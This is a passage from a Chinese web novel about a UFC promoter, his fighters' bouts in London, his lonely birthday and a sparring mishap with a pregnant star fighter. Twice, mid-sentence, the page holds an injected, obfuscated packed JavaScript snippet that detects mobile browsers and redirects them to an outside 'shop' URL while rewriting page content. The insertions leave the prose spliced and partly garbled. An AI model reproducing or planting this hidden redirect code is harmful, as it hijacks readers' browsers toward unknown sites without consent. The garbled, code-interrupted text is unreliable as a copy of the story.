今日KSP也坐在解说席上,他是特邀嘉宾,跟乔·罗根一起解说比赛。与他一同出现的还有拳王梅威瑟,穿着一身宝蓝色西装,十指戴满首饰,打扮得十足惹眼。陆庭风撇眼看见,又忍不住跟老友小声嘀咕:“梅威瑟张扬得跟一只孔雀似的,你说,何主任的女儿为什么喜欢他?” 闻人律面无表情:“喜欢就喜欢了,你管人家为什么喜欢。” “随便问问嘛~”他眼睛滴溜溜的,一看就不怀好意。果然,下一秒这厮便笑起来,贼眉鼠眼地又凑过来问:“你这次跑来伦敦督战,错过何大小姐的生日宴,准备带什么礼物回去赔罪啊?” 两眼专注地望着台上,闻人律气定神闲地靠着椅背,心不在焉道:“梅威瑟不是有个运动品牌么?我让林秘书买了一件衣服和一副拳套,去后台请他写了个To签。”当时这名珠光宝气的拳王还八卦呢,朝他促狭地挤眼睛:“You girlfriend?” 闻人律礼貌地笑笑,摇摇头:“No,just a friend。” 彼时KSP坐在一旁化妆,半闭着眼问了他另一个问题:“Chan最近怎么样?他输掉比赛后,我给他发信息慰问,但是他没回我。” 是吗?这倒是不大寻常。闻人律微蹙起眉:“别人他可能懒得搭理,但你的信息,他是一定会回复的。” 被他戳破谎言,KSP耸耸肩,露出一个无奈的笑容:“他是回复了,但很敷衍。之后就像人间蒸发一样,没有任何音讯——我想知道,你最近见过他吗?他在忙什么?” 这个问题不止他想问,UFC的粉丝们恐怕也很想知道。赛后洛城翘了发布会,还翘了三日后安德玛的新品发布会,可以说是彻底从大众视野中消失了,粉丝们早就议论纷纷。奥康纳还在社交媒体上假模假样地喊话呢,说我只是想打败你,并不想摧毁你的职业生涯。KSP对此很是忧虑:“他不准备回复一下吗?再这样下去,别人会觉得他是个懦夫的。” 心塞地深吸一口气,闻人律不知如何搪塞,只得说了实话:“他快要做爸爸了,所以没心思搭理网上那些事。” “是吗?”KSP一听,疑窦和担忧瞬间烟消云散:“原来是这样啊!” 西方人似乎把生孩子看做一件十分重要的事,重要到其他的任何急事都能为此让步。听闻这个消息,KSP和梅威瑟甚至露出了欣慰的笑容——他们不过问洛城的对象是谁,也不关心他是不是要结婚,只全心全意地为这个即将出世的宝宝欢欣雀跃:“Chan的孩子,想必会很像他吧?说不定是未来的金腰带呢。” 闻人律只能生硬地笑笑:“但愿如此。” 一个半钟后,八场副赛结束,比赛终于进行到主赛部分。伍沛霖排在倒数第二场,与今日的头条主赛只隔了一场,这是个很不错的顺序——毕竟有些重量级嘉宾会摈弃格斗水平较低的垫场赛,只专注于知名选手的比赛,直到最后关头才姗姗来迟。所以比赛顺序越靠后,就越多人关注,伍沛霖恰好能蹭到一点儿视线。如果这次他打得足够精彩,那下一场比赛就更好谈了。 ……然而现实远超闻人律的预料。 作为曾经挑战过金腰带的老牌选手,杰克逊虽然已经三十六岁,但出拳、摇闪以及战术策略依旧老道。面对二十九岁零八个月的伍沛霖,他聪明地选择了放风筝打法,沿着笼边不紧不慢地游走试探。伍沛霖的进攻意识虽然十分强烈,但他并不急于出拳,而是占据着笼心缓缓前压,在突破安全距离后再用简短的组合拳试探杰克逊,骗出他的反击招数。 闻人律从贵宾席上可以清楚地看见他游刃有余的灵活步伐。若说洛城是大开大合的虎,那伍沛霖就是谨慎耐心的狼,一点一点试探杰克逊的拳路。 在第一回合的三分钟之内,两人周旋着你进我退,打出了好几波精彩的攻防。伍沛霖的臂展虽然逊色一些,但他的拳比杰克逊的重,而且黄种人的方下巴似乎也铁过白人精致的下颌骨,替他结结实实地扛下了好几波重击。 这种一往无前、生扛进攻的表现令台下观众不禁连连惊呼、赞叹鼓掌,闻人律却看得不大满意,拧起眉道:“伍沛霖抱架和防守还是差了点儿。这种送脸的打法迟早要吃亏的——杰克逊可不止有一个进攻手段。” 果不其然,在第二回合的第四分钟,伍沛霖瞄准杰克逊一波组合拳的末尾忽然前压进攻。然而就在所有人以为他即将给杰克逊带来沉重打击时,三十六岁的金发选手却忽然顺势转身,躲过他的直拳,再屈起手臂狠狠一砸!……一记势大力沉的转身肘正正砸在伍沛霖耳侧,打得他浑身猛烈一震,如雨的汗珠簌簌落下,紧随其后的是他瞬间脱力的身体,重重砸在血迹斑斑的八角笼垫子上。 那瞬间,闻人律和陆庭风都站了起来,双眸紧张地瞪着,十指紧攥成拳。在观众的惊呼声中,杰克逊大喜过望,迫不及待地扑到伍沛霖身上想要补拳,然而,这个坚毅的东亚男人似乎还有一战之力!他狼狈地一翻身躲过了攻击,随即是不间断的凌乱翻滚,堪堪躲过杰克逊的追击,最终抠着笼网踉踉跄跄地站了起来! 至此,O2体育馆已经变成了一片掌声与欢呼的海洋。乔·罗根攥着麦克风激动地大叫:“难以置信!太令人惊叹了!Lin居然从Jackson的死亡之肘下死里逃生!这个Alpha顽强得像一只野兽!” 抬起手臂勉力抵挡杰克逊恼羞成怒的组合拳进攻,伍沛霖蜷着腰腹,晕眩的大脑在慢慢地恢复神志。狼狈的躲闪之中,他看见了笼子外面兴奋不以的人群,以及角柱后头用摄像机静静对准他的摄影师……当不断打在手臂上的重击终于停止时,他抬起头,眼前的杰克逊已经气喘吁吁,体力告急。 拳怕少壮。三十六岁的运动员,体能再怎么好,也无法与二十九岁的人相提并论。 伍沛霖笑了起来。 “稳了。”那一刻,陆庭风激动地在老友的手腕上重重握了一下:“就是这一次!就在这一场!……我的天,老天!太好了、太好了,伍沛霖终于熬出头了!” 与他相比,闻人律要冷静许多。他先是抬头望向八角笼上方的转播屏,确保刚才那个笑容给了大特写;紧接着,他转头望向后方观众席——所有人的脸上都是惊叹的神情,他们赞美着、感慨着,无不被伍沛霖的顽强和进取所折服。至此,闻人律终于放下了心:即使这一场比赛最后赢不了,他们的目的也已经达到了……当然,能赢下来是最好的。 伍沛霖没有让他失望。 在第三回合的第二分十七秒,排名量级第十四的中国选手最终以一波精准的连续进攻将杰克逊打得失去了还手能力,以TKO获胜。裁判宣布比赛结束的那瞬间,乔·罗根激动地用“wolverine”一词来形容他的顽强和穷追不舍。从那之后,伍沛霖便有了官方的绰号——Wolverine。 -------------------- 比赛结束后,陆庭风跟邓教练他们去酒吧庆祝胜利去了,当时伍沛霖还想邀请闻人律,但大老板礼貌地拒绝了他:“我不习惯那种场合。你们去玩吧,回头把账单拿给我报销就行。” 没料到他竟会拒绝,伍沛霖的笑容一僵,脸上的喜悦顿时退去大半。见状,陆庭风忍不住狠瞪老友一眼,伸手揽过伍沛霖的肩膀大步离开:“走走走,咱们自己去,不管他!这人就这死德行,之前洛城赢了他也不去庆祝的,乏味得很……” 看着他们消失在夜色里的背影,闻人律站在原地没动,只默默地掏了支烟点上。他知道伍沛霖的想法,也知道自己若想“稳定军心”,确实应该参与他们的庆祝,但是……深吸一口烟,他摇了摇头,招手朝司机示意:“去开车吧,送我回酒店。” 老板只是老板。老板的责任是给旗下选手拉资源、策划发展路线,而不是参与他们的生活,又或者——照顾他们的心情。 自己没有这个义务。 回到酒店已是凌晨两点。洗过澡,闻人律穿着灰色浴袍到吧台给自己满上一杯酒,随即坐到了阳台的躺椅上。伦敦的夏夜不似国内的闷热,偶尔吹来一阵夜风,轻轻的、凉凉的,颇为舒适。只可惜他无心欣赏夜景,甚至煞风景地打开手机开始睡前办公——这会儿国内刚开始上班,秘书和助理们大概率有事情要向他汇报。果不其然,唐秘书下一秒就给他发来了短信: “纺织厂拿下来了。” 虽然在意料之中,但这个消息还是让闻人律露出了一个短暂的笑容。正编辑信息敦促手下人开始着手地块变性流程和新场馆的预算,冷不丁一个电话打进来,屏幕上赫然显示“Dana White”两个词。闻人律立即正坐,迅速接起来:“Hey Dana。” 对面那位时年54岁的Alpha声音略显疲惫,但语调还是一贯的亲切和热情:“Oh Seth!Why did you leave in such a hurry? I have something else to discuss with youe to my place,now。 I have to catch a plane tomorrow morning, we don''t have time。” 闻人律立即翻身坐起,脱下浴袍露出修长结实的身体,走进房内开始换衣服:“Okay, I''ll be there soon。” 若说闻人律是工作狂,那UFC现任的总裁Dana White就是不折不扣的工作疯子。比赛结束的2小时之内,他出席了庆功宴、同两个获胜者的团队谈了话,现在又把闻人律约到了酒店来。两人见面时,Dana正在见缝插针地吃夜宵。连寒暄也没有,双方立即进入正题:“Lin这个选手,你对他有没有什么打造策略?我对他不了解,目前就感觉……他好像没什么星味儿。” Dana经手过数以万计的格斗选手,眼光老辣,一开口就指出了伍沛霖最欠缺的东西。闻人律点点头,沉吟一会儿,道:“他的性格比较稳定踏实,天分虽然稍差,但训练非常努力,也很好学。我觉得,我们可以对标钻石普瓦里尔和牛仔唐纳德来打造他,宣传他的勤奋与永不言弃。我相信,他的这些特质会给一部分粉丝带来认同感。” 认真地听完,Dana抬眼望他,通红圆胖的脸上透着怀疑的神色:“但是,他可没有钻石和牛仔的长相。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603966|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “人们对不同人种的外貌审美不一定是同样标准的。”闻人律却并不担心:“Lin的方脸、浓眉、高颧骨,会给大家带来另一种审美可能。只要他表现出一定的能力,打出漂亮的战绩,我想,粉丝们会觉得他帅气的。” 这话说得倒是不错。竞技体育,成绩为王,赢了自然有人吹捧你。Dana点点头,半晌忽然笑了起来,促狭地望向闻人律道:“……但是当年Chan刚登录UFC,就凭着外貌圈了一波粉。所以,良好的外形还是有加成效果的。” 他忽然提起洛城,闻人律瞬间笑不出来了,心情复杂地抿了抿唇。但Dana似乎并不想结束这一话题,继续问:“Chan究竟是什么打算?上次比赛他在第二回合刚开始就落败了,遭受的打击数加起来都不到一百,伤势不可能太重。既然如此,他为什么不接别人的叫阵?” 听出他话中的不满之意,闻人律赶忙帮洛城解释:“他的女朋友怀孕了,而且孕期反应很严重,他非常挂心。这样即使接了对战也打不出精彩的比赛,所以我擅自做主,给他放了一年的假。” “……是你决定让他休息的?”Dana意味深长地看着他。 “是。”闻人律硬着头皮应下来,生怕坏了Dana对洛城的印象。见他如此郑重,Dana也只好点点头,神情略有遗憾:“宝宝确实是个大事……这一年他休息就休息吧,回归之后再想办法造势宣传。这期间你找几个有潜力的选手推给我,我安排签约,让他们在格斗之夜亮相。至于Lin……你们可以替他物色新的对手了,我会帮忙说服对方的经纪人。” “好!我明白了。”看来这次伍沛霖的表现让Dana颇为满意。闻人律心中振奋,郑重地站起身,同Dana用力地握了握手。 -------------------- 又忙碌了几天,闻人律和陆庭风终于在8月26日回到了申城。 陆庭风累得半死不活的,眼罩戴在额上都没取下来,一路走一路嘟囔着要回家睡个天昏地暗,明天请一天假。结果刚走到出口,他就看见了前阵子新招进来的助理小马。对方先是接过闻人律手里包装好的梅威瑟签名礼盒,随即毕恭毕敬地小声道:“律总,公司有几个文件需要您亲笔签字,您看……方不方便去一趟公司?” 陆庭风头都晕了:“你别告诉我你还要去工作?” 闻人律嫌弃地瞥他一眼,忽然把他额上的卡通眼罩拽了下来,反手丢进他怀里:“又没让你去,你叫什么?”转身跟着马助理走出大厅,坐上了去公司的车。 这一去又是一个下午。 见他没有按时回家,敏姨忍不住给他发了好几条短信,问你去哪儿啦,飞机不是都到了吗?——这位老阿姨最近学会了查询航班信息,对他的行踪跟得非常紧。闻人律在开短会的间隙中看见,失笑地回复一句:“公司有急事,过来处理一下。” 敏姨又问:“晚上回来吃饭吗?” 闻人律想一想,答:“回。我这边还有半个小时就结束了,7点钟应该能到家。” “好!”敏姨似乎很期待:“一定要回来呀!” 处理完所有事务已是六点半。回家时遇上晚高峰又耽搁了半个小时,他进家门时已是晚上七点半。 屋里黑黢黢的,一盏灯都没有开,甚至连惯常爱守门的路易也不见踪影。闻人律狐疑地打开玄关灯,四下打量一圈,忽然,一圈雾蒙蒙的烛光从卧室走廊那边缓缓移动过来,屋子里随即响起着敏姨喜不自胜的低呼声:“咱们小律今天就二十九岁啦!祝你生日快乐~祝你生日快乐~” 随着“汪”的一声狗叫,闻人律错愕地看着她手捧一个六寸的奶油水果小蛋糕小心翼翼地走出廊子,路易则殷勤地环绕在她脚下,俨然被馋得不能自已了。敏姨把蛋糕端到他面前,一张微微圆胖的脸笑得满是皱纹,眼神分外慈爱:“生日快乐呀,小律!” 感觉喉咙一瞬间哽住了,有四、五秒的时间说不出话。望着敏姨热切的笑脸,闻人律不由得想,亲爸忘了他的生日,亲妈看起来也不记得,朋友也似乎都忙忘了……在这个偌大的世界里,现在唯一记得他生日的,居然是这个跟自己完全没有血缘关系的保姆。 有些荒诞,又有些无可奈何,他不知道自己该失望还是该庆幸。不禁苦笑一下,闻人律低头吹灭了蜡烛,沙声道:“谢谢敏姨。” “好啦,吹灭了蜡烛,接下来就许愿吧!”笑吟吟地拉着他坐到餐桌旁,敏姨将蛋糕放到一桌子美味佳肴中间,热切地看着他:“形式还是要走一走的——万一实现了呢?” 许愿?有什么愿可许的?闻人律眨着眼漫漫地思索几秒,又露出了一个苦笑:……就许愿洛城回归之后别再出幺蛾子吧!毕竟登峰是个年轻的公司,家底薄,可经不起他这么折腾。 许过愿,闻人律睁开眼,就见路易端坐在自己身旁,棕黑色的大眼睛里满是渴求,嘴边那哈喇子都快掉下来了。无奈,只得切了八分之一分给它:“不能吃太多知道吗?奶油容易拉肚子。” 敏姨也低着头,溺爱地看着大快朵颐的路易,冷不丁却叹了口气,遗憾道:“哎,要是家里多几个人就好了……我本来想做个八寸的,但又怕吃不完,最后只能做了六寸的,剩下好多奶油。” 也许敏姨的话并没有别的意思,但闻人律刮奶油的动作还是停顿了一下。他垂着眼失神地沉默几秒,忽而突兀地扯扯唇,露出一个讥讽的笑:“家人……猴年马月才能有了。” 35.律总,你好白呀 又过了两日,在八月即将结束的时候,闻人律那个傲慢的、健忘的父亲终于想起了自家大儿子的生日。他差夏管家送来一个文件夹,闻人律面无表情地打开看,只见里头夹着几份文件,封面上写着六个大字:股权转让合同。 闻人律不禁冷笑了一声。 “他把股权转让给我,我那位继母和弟弟知道吗?”他讥讽地问夏管家。年过六十的老管家无言以对,只得无奈地笑着,苦口婆心劝道:“大少爷,你也知道,老爷这个人刚愎自用大半辈子,短时间内是改不了的。如今他开始反省了,想通过这样的方式补偿你,你不如爽快地收下——毕竟那对母子一直对你的份额虎视眈眈,你若是继续跟老爷置气,这也不收、那也不要,不就遂了他们的心愿么?” “他们想要就拿去啊,我又不在乎。”闻人律不以为意。 夏管家不禁愈加为难:“大少爷……我知道你有志气,也有能力,但钱这东西,谁会嫌多呢?有了钱,你可以把你的公司发展壮大,甚至可以拿分红给员工们发奖金嘛,对不对?而且您也二十九了,说不定哪天就要成家生子。你的钱说白了也是孩子的钱,你不想让你的老婆孩子过得更自在吗?” “你什么意思,”闻人律依旧不为所动,甚至不悦地冷瞪住他,“我需要靠他那点儿钱来养活老婆孩子吗?凭我的本事不能让家人过得轻松自在吗?” 得,话不投机半句多,又聊进死胡同了。无法,夏管家只能放弃劝说,垂头丧气地拿起文件夹打道回府。一天的好心情被他搅散,闻人律也无心工作,干脆把事务一推,换上运动服直奔训练馆。 距离上一次来锻炼已有两个星期。想起出国之前他跟洛城的那次争吵,闻人律心里默默的有些懊恼:这厮不会真的赌气不去训练馆了吧?如果是真的,那还得让曹磊去哄哄他……啧,真矫情。 也不知是唾弃自己、还是唾弃洛城,闻人律暗暗咒骂着走进训练馆,立即听到了某个人夸张的大笑声:“哈哈哈哈哈哈哈周青云!你、你行不行啊,柔韧性这么差?” 这熟悉的声音、毫不遮掩的音量,以及看热闹不嫌事大的风格,不是洛城是谁! 深吸一口气,闻人律咬着后槽牙缓缓扭头望去,就见洛城跟曹磊他们一起坐在柔术垫边缘,看着周青云在垫子中央被柔术教练拧过来拧过去。他依旧穿着黑色的紧身运动T恤,下头搭一条宽松的运动短裤,两条修长结实的长腿大喇喇舒展着,半长卷发则随着狂笑的动作颤抖不止,就像一边喷响鼻一边撒欢的弗里斯兰马,令人又爱又恨。 这家伙,之前还斩钉截铁地跟自己放话说不来了,现在又出尔反尔,真够厚脸皮的……罢了,倒省了找人哄他的工夫。想着,闻人律肚子里的气慢慢消了,转而露出了一个无可奈何的笑。 --------------- 进入九月,台风带来的降雨终于彻底结束,申城又变得潮湿而炽热。这样的天气让上班族们怨声载道,却是破土动工的好时机——九月二号那天,纺织厂的改造施工正式开始。工地上举行了郑重的开工奠基仪式,闻人律作为登峰老总,自然是要出席的。 从公司出发之前,看着户外火辣辣的阳光,他曾犹豫了一秒:要不要穿西装外套呢?虽然这只是个改造项目,但改造后的场馆毕竟是登峰的“总根据地”,有些细节还是要郑重一些。想着,他毅然决然地穿上了西装外套,甚至还打了领结。 下楼时,他在大厅外头碰见了同样西装革履的陆庭风。这厮手里拿了一把柠檬黄的小花伞,脸上汗珠细细密密的,见了他还生无可恋地问:“你不撑伞啊?” 闻人律不禁露出了嫌弃的表情:“待会儿到了工地你也撑伞?” 陆庭风眼睛一瞪,差点儿跳起来:“这么热的天气,难道你不让我撑?!” 心烦地撇开脸,闻人律倒是没再坚持:“……仪式那几分钟不准撑。”顶着大太阳坐进了车里。 路上,前座的唐秘书也忍不住问他:“律总,这天儿晒得很,要不我找一把蓝色或者黑色的伞给您打吧?或者,我这儿有防晒霜,你把脖子和脸涂一层,不然肯定会晒伤的。” “不用。”闻人律铁骨铮铮地拒绝了她——晒就晒,伤就伤,又不是说无法恢复。但要是在开工仪式上露了怯,那就会被新闻图片记录一辈子。他可不想以后参加宴会时,被申城那群眼高于顶的公子哥儿们明里暗里地耻笑。 秉持着这样的骄傲,闻人律经过半个下午的暴晒,毋庸置疑地……被晒伤了。 “你这是何苦呢——”望着老友后颈和锁骨处的红色晒痕,陆庭风好奇地凑近一些,见他整张脸都红了一个度,尤其高挺的鼻梁,更是晒出了一片细密的血点。唐秘书无奈地拿来芦荟胶替他涂抹,叹息道:“律总,你这种冷白皮就是最容易被晒伤的。而且你还不会晒黑,过几天这层皮就会蜕掉,就像蛇一样,到时候痛得你睡都睡不好。” “我知道。”此时芦荟胶涂到脸上,闻人律闭上眼,感觉一层清凉湿润的东西覆上来,缓解了那股刺扎扎的疼痛:“没事,半个月就恢复原状了。” 凝胶逐渐涂遍他的面庞,浓黑的眉毛和浓密的睫毛都粘到脸上,铺展开来,更显得纤毫分明。唐秘书不禁艳羡地挑了挑眉,无声叹息:可惜啊,这么长的睫毛,居然长在Alpha的身上……一旁的陆庭风也点点头,与她交换了一个“英雄所见略同”的眼神:这实在是太浪费了! ----------------- 虽然以前曾有过晒伤的经验,但毕竟身体不会对这个免疫,所以该难受还是会难受。第二日陆庭风来上班时就见闻人律罕见地穿着一件宽松的灰色T恤,布料又轻又薄,似乎是丝绸。他脸上的红色褪了大半,只有鼻梁上留着几块红印,最惨烈的还属脖颈周围——就像戴了一圈红色纱质围脖似的,与白皮肤的边界十分明显,颜色对比也相当鲜明。 抬手想挠脖子,但一碰便辣辣地发疼。闻人律烦躁地“啧”一声,抬头看见他,又“啧”一声:“你帮我去唐秘书那儿,问她要那个芦荟胶。” “嘿嘿嘿嘿嘿~”陆庭风幸灾乐祸地笑着去了,半晌拿着一管凝胶折返回来,颇为同情地递过去:“疼成这样,干脆休息两天吧?下午你的搏击课也别去了,一会儿丁教练打到你脖子,我都怕他蹭掉一层皮!” “为什么不去。”迫不及待地挤出一大坨芦荟胶抹到锁骨和后颈上,那股干痒刺痛终于得到片刻缓解。闻人律脊梁一松靠到椅子里,脑中迅速把未来几日的工作过了一遍:“今天下午不去,未来三天就没机会了。再往后的日程还不确定……明日推明日,最后就练不成了。” “行行行好好好,你去你去,我闭嘴!”举起双手作投降状,陆庭风没敢再啰嗦,忙不迭溜了出去。 到了下午,这个铁人果真拿上运动包,一边轻挠着脖子一边走出了办公室。三点整,闻人律准时出现在训练馆。身体的不适让他的心情有些烦躁,甚至忘记了一件重要的事情。直到走进VIP训练室看见空荡荡的场地,他才猛然间想起,前几天丁锐给他打电话请假来着,说家里小孩肺炎住院,他要去照顾……操,居然把这事儿给忘了! 丧气地呆立着,闻人律心想,要不叫谁来临时顶上?忽然门口走过一个运动员,他便把人叫了过来:“哎,你!你去训练馆里头,随便找个人来陪我练一个钟的拳击。” “哦,好!”对方一怔,随即领了命,龇牙咧嘴地跑了。闻人律一看便知道他在想什么——陪大老板练习哎!赢肯定是不能赢的,但输也不好太明显,不然就是不尽心……这个度把握起来颇为头疼,那个被选中的人有福了。 料想外头一时半会儿选不出人,闻人律干脆把拳击手套丢到一旁,俯下身开始做俯卧撑。然而,他这边热身刚进行到一半,一个人影就从门外走了进来。闻人律诧异地抬起头,就见洛城龇着一口整齐的白牙出现在眼前,笑容里的不怀好意都快溢出来了:“律总,你要练拳啊?我陪你啊!” ——用脚趾头都能猜到他那点儿小心思!闻人律不禁心塞地翻了一个白眼。 “陪我?你是想名正言顺地揍我吧。”他没好气地说。洛城立即坳出一个正直的表情,还嗔怪地瞪他:“律总,你怎么能这么说呢?拳击嘛,对练的时候难免磕磕碰碰,这都是很正常的,怎么能叫揍呢?你这样想,谁还敢跟你练习啊!” 嘿这个人……!平日里胡搅蛮缠,这会儿大道理倒是一套一套的!闻人律牙痒痒地轻啧一声,没再理他,转身走到场边给自己的双手缠绑带、戴拳套。 难得压过大老总一回,洛城那个得意,不禁暗爽地扭了扭肩膀。这时,闻人律缠好绑带,抬手把T恤脱了下来。在训练室明亮的顶光之下,他的脊背被灯光一打,白得简直像雪山,反射的光直扎得人眼睛疼! 洛城忽然不说话了,惊异地在他身上细细打量——他知道闻人律白,但不知道他居然这么白,也不知道他肌肉练得这么好!看看这背阔肌、冈下肌,山峦起伏的,加之皮肤冷白细腻,就像那个谁谁谁雕的塑像……米什么罗来着?还得是用最高级的白色无暇大理石雕刻的那种! 情不自禁地走过去,洛城在他身后好奇地打量着,很快发现了他后颈上那圈淡红色的晒伤。原本完美细腻的皮肤被晒出衣服的边界,红与白的交错之间,一种异样的感觉开始蔓延……洛城看得出神,情不自禁地伸出手,轻轻触碰了一下。 闻人律诧异地转过身,拧眉瞪他:“你干嘛?” 他不转身还好,一转过来,锁骨上的晒伤也暴露在洛城眼前。那个心形的轮廓不禁让人浮想联翩:他穿的应该是衬衫,领口没有扣紧,大概是嫌热,所以解开了二颗扣子。仿佛破解了什么重要的秘密,洛城难掩兴奋地笑起来,视线依旧直勾勾地黏在他锁骨上:“律总,你好白呀。” 闻人律倏地臭了脸,那一刻他简直不敢相信自己的耳朵:“洛城,你是在调戏我吗?” 赶忙收回视线,洛城嬉皮笑脸地“哈哈”两声,但是没控制住,偷偷地又往下瞟了一眼:“没有啊,我只是夸你嘛,干嘛这么敏感?” ——我敏感?闻人律的脸黑得几乎滴下墨汁:给他三分颜色,这混球居然开起染坊来了!面色森冷地将拳击手套戴上,他磨了磨牙,走到垫子正中央朝洛城一招手:“快点儿过来,我没时间跟你磨磨蹭蹭!” 呀,真生气啦?暗暗咋舌,洛城这才收敛了吊儿郎当的笑容,转身去拿拳击手套。 经过上次备赛期间那几次冲突和风波,如今的他对闻人律已经没了忌惮之心,这会儿就算把人惹生气了他也没当回事。缠好绑带戴上手套,洛城慢悠悠地走回来,还有闲情逸致打量人家的手势和抱架:“你前手太高了,放低点,不然容易暴露肋部……” 说着,视线又忍不住顺着手臂溜到了他的锁骨区域。洛城不禁感叹地想,连小晴也不见得有这么白……下一秒,乌黑的拳击手套忽然在眼前放大,狠狠打中了他的眼眶! 洛城猝不及防地“嗷”一声,向后坐倒在地,训练室门口也响起了整齐划一的惊呼声:“卧槽!” 怎么有两个声音? 闻人律拧着眉回头一望,只见门边探出许多颗脑袋,大概率是来看洛城“胖揍”大老板的,却没想到反被老板将了一军……一群人顿时作鸟兽散,只剩下某个偷鸡不成蚀把米的大聪明还坐在地上捂着脸嗷嗷哭:“犯规!犯规!我没准备好呢你就出拳了,你这是违例!” “都对峙七八秒了,你还要怎么准备?”闻人律快要被他气笑了,“你不想好好打就直说,我可以去练别的项目!” 这时,洛城终于松开手掌,左眼艰难地眨几下,朝他抬起头:“……是不是青了?” 闻人律没好气地瞥两眼,这厮的颧骨和眉骨周围是有点儿红:“一点点而已。” “嗷——”洛城立即上纲上线地大叫起来,脱了拳套委屈巴拉地往外走:“我不陪你练了,你自己玩吧!太过分了,居然偷袭……还不穿衣服!光一打下来刺得我眼睛疼……” 跟这个有什么关系?被气得说不出话,闻人律站在原地沉沉喘息,总感觉胃又开始疼了。 --------------- 装模作样地哀叫着冲出VIP训练室,洛城立即闭上嘴,丢脸地揉了揉眼睛。 他是真没料到自己会被大老板揍一拳。在他的预想之中,职业打业余那是手拿把掐的事,闻人律只有吃闷亏的份儿。然而……眼前又浮现出他那具修长结实的白皙身体,以及锁骨处项链一般的晒伤,洛城“啧”一声,不禁懊恼:怎么就看得入了迷呢? 走到大训练馆里,刚才偷看的那群人立即围上来,钦佩地道:“城哥,想不到你才是最会拍马屁的那一个!我们都以为你要公报私仇呢,结果你愣是给律总让了一拳!妈呀,这要是在宫斗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13613054|142950||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧里,那不得一路过关斩将,傲视后宫啊!” “什么乱七八糟的!”洛城咬牙切齿地把他们一个个踹开:“我就是走神了,一时没反应过来,才不是拍马屁!……我确实是想趁机揍他的!” “是吗?”大家嘎嘎怪笑着,前仰后合地歪作一堆。其中有一人往他腰上瞥了一眼,笑着道:“城哥,你就是最近太放松了、过得太舒服了,反应速度大大下降!你看你,脸圆了,腰粗了,再这样下去呀,恐怕连看门大爷都能跟你过两招。” 说者无心,听者有意,这话在洛城耳里就像炸雷一样,把他吓得赶忙低头检查自己的腰腹:“粗了吗?应该没有吧?” 他掀起T恤下摆,其他人纷纷低头细看——原本劲瘦结实的腰似乎宽了些、柔软了些,线条变得柔和而饱满,但还算得上紧致有型。周青云认真地围着他打量一圈,最后得出结论:“是粗了那么一点点……好像比以前休赛期还要滋润一些?” 闻言,洛城顿时唰白了脸,僵硬地扯扯唇,道:“哈哈,看来最近我太不忌口了,以后还是要克制一点儿……”说着,他脚下不动声色地往人群外移动,随即仓促地丢下一句“我先回去了拜拜”,扭头落荒而逃。 火急火燎地回到“新家”,宁祁今日休假,正坐在餐桌旁择豆角,忽然见洛城夺门而入,绷着脸直奔体重秤。他忍不住好奇地扭头望去,只见液晶屏上显示着三个数字:197斤,便问:“你怎么了?” 洛城没搭理他,兀自皱着脸不解地自言自语:“也没重啊……还比以前轻了一些,怎么他们说我胖了呢?” 原来是在头疼这个。宁祁见怪不怪地坐回去,继续择豆角:“激素的原因吧。你的睾酮下降了,孕激素上升,这些变化会影响肌肉和体脂率,从而改变你的体型。” “……靠!”崩溃地咒骂一声,洛城心如死灰地走到客厅往沙发上一躺,长长一条人横在三人沙发上面,脚丫子还挂在外头:“那我岂不是不能去训练馆了!” “为什么不能?”宁祁推一下眼镜,一双桃花眼在镜片后面睨着他:“你现在才17周,而且还是胎盘后壁,显怀更晚。九月之内你还可以去几次,到了十月估计就不行了。” “这样啊。”翘一下脚表示知道了,洛城闷闷地又趴了一会儿,随即爬起来坐到他对面,恹恹地望着桌上那些豇豆:“今天吃豆子哦?” 他臊眉耷眼的模样像个郁闷的问题少年,混合着一分稚气和九分人憎狗嫌的匪气,看得宁祁忍不住摇摇头:“豆角和排骨,还有黄焖鸡。” 话音刚落,洛城的肚子里便传来“咕噜”一声哀叫,显然是急不可耐了:“我快饿疯了……你今天让我多吃点儿行不?不能吃肉,那米饭也行啊!” “不行,不能多吃——”坚定地拒绝他,宁祁在控制饮食这一点上特别铁面无私:“我这是为了你好。你想要无撕裂顺产,就得好好控制体重。” “顺产顺产,现在她才橙子大呢!我要饿到猴年马月啊!”崩溃地匍到桌边,洛城双手环着肚子,这儿揉揉、那儿捏捏:“你还说十六周后会有胎动……骗人的!我摸了一个星期,她根本没动过!你个庸医,我不信你了,我要吃饭!” 又来了又来了——达不到目的就开始胡搅蛮缠,宁祁叹口气望向他,正想耐心劝说,却意外发现他左眼上有一圈淡淡的青黑?忍不住伸手轻轻抚摸,洛城立即拧起眉,直起身向后退了一尺:“你干嘛?” 宁祁悻悻一笑,将手收回来:“你的眼睛怎么回事?好像被打了。” ……这事儿啊。不自在地撇开脸,洛城瓮声瓮气道:“今天去锻炼,正好碰上我们老板找人练习拳击,我就去了。他是个业余爱好者,水平一般,我以为很好应付,没想到这人居然出阴招!在我没准备好的时候就打过来一拳,喏,正好打到我眼眶上!” 他忿忿不平的,宁祁忍着笑意安慰道:“原来是被你们老板打的啊,那还算值当。” “这叫什么值当?!”洛城不明白他的脑回路。宁祁便耐心解释:“如果是别的选手打的,那这一拳就白挨了,没有任何收益不说,还得痛两天;但这一拳是你舍命陪老板挨的,他肯定记你的情,以后就会给你更多资源啊。” 